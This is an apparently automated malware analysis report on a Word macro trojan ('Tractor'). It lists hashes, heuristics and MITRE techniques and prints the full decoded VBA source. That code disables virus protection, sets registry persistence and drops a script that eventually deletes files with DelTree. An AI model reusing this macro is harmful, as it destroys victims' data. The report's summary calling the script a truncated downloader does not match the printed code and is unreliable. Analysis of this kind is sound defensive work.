Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 3b66972741fa6d81…

MALICIOUS

Office (OLE)

31.5 KB Created: 2002-05-10 06:10:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 402170484b5facd8291f0b57ba93604c SHA-1: c9ab2a05a2e083b70e594608870297859de5b5ab SHA-256: 3b66972741fa6d81411986e6a15094975106f08b1952187656335e00f0d98eb3
348 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The sample contains a VBA macro that executes upon opening, as indicated by the AutoOpen macro and OLE_VBA_AUTOOPEN heuristic. This macro uses WScript.Shell to create a VBScript file named 'tractor.vbs' in the Windows directory and writes it to the registry under HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\TRACTOR for persistence. The VBScript itself appears to be a downloader or dropper, though its full functionality is truncated.

Heuristics 8

  • ClamAV: Doc.Trojan.Tractor-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Tractor-1
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    Options.VirusProtection = False
    Set regedit = CreateObject("wscript.shell")
    Set fso = CreateObject("scripting.filesystemobject")
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Options.VirusProtection = False
    Set regedit = CreateObject("wscript.shell")
    Set fso = CreateObject("scripting.filesystemobject")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "NewMacros"
    Sub AutoOpen()
    Attribute AutoOpen.VB_Description = "Trojan.Tractor_Driver"
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2027 bytes
SHA-256: ecc481bb6a8fc0ec3c9132b607f6188546b25c78c7f00f5d8febfc7b3997733a
Detection
ClamAV: Doc.Trojan.Tractor-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"
Sub AutoOpen()
Attribute AutoOpen.VB_Description = "Trojan.Tractor_Driver"
Attribute AutoOpen.VB_ProcData.VB_Invoke_Func = "Project.NewMacros.AutoOpen"
On Error Resume Next
Options.VirusProtection = False
Set regedit = CreateObject("wscript.shell")
Set fso = CreateObject("scripting.filesystemobject")
wdir = fso.getspecialfolder(windowsfolder)
If regedit.regread("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\TRACTOR") <> wdir + "\tractor.vbs" Then
regedit.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\TRACTOR", wdir + "\tractor.vbs"
fso.createtextfile wdir + "\tractor.vbs", True
Set f1 = fso.opentextfile(wdir + "\tractor.vbs", 2, True)
f1.writeline "'TRACTOR DRIVER V 1.3 beta"
f1.writeline "On Error Resume Next"
f1.writeline "Set regedit = CreateObject(""wscript.shell"")"
f1.writeline "Set WshShell = wscript.CreateObject(""Wscript.Shell"")"
f1.writeline "If regedit.regread(""HKEY_CURRENT_USER\TRACTOR\"") <> ""xfuck"" Then"
f1.writeline "regedit.regwrite ""HKEY_CURRENT_USER\TRACTOR\"", ""xfuck"""
f1.writeline "regedit.regwrite ""HKEY_CURRENT_USER\TRACTOR\cnt\"", 0"
f1.writeline "Else"
f1.writeline "Count = regedit.regread(""HKEY_CURRENT_USER\TRACTOR\cnt\"")"
f1.writeline "If Count = 4 Then"
f1.writeline "Bomb"
f1.writeline "Else"
f1.writeline "Count = Count + 1"
f1.writeline "regedit.regwrite ""HKEY_CURRENT_USER\TRACTOR\cnt\"", Count"
f1.writeline "End If"
f1.writeline "End If"
f1.writeline "Sub Bomb()"
f1.writeline "On Error Resume Next"
f1.writeline "WshShell.Run ""DelTree /y *.* >null"", vbHide"
f1.writeline "MsgBox ""Furious Tractor Driver has just destroyed your DATA. HA-Ha-Ha-haha"""
f1.writeline "End Sub"
f1.Close
End If
End Sub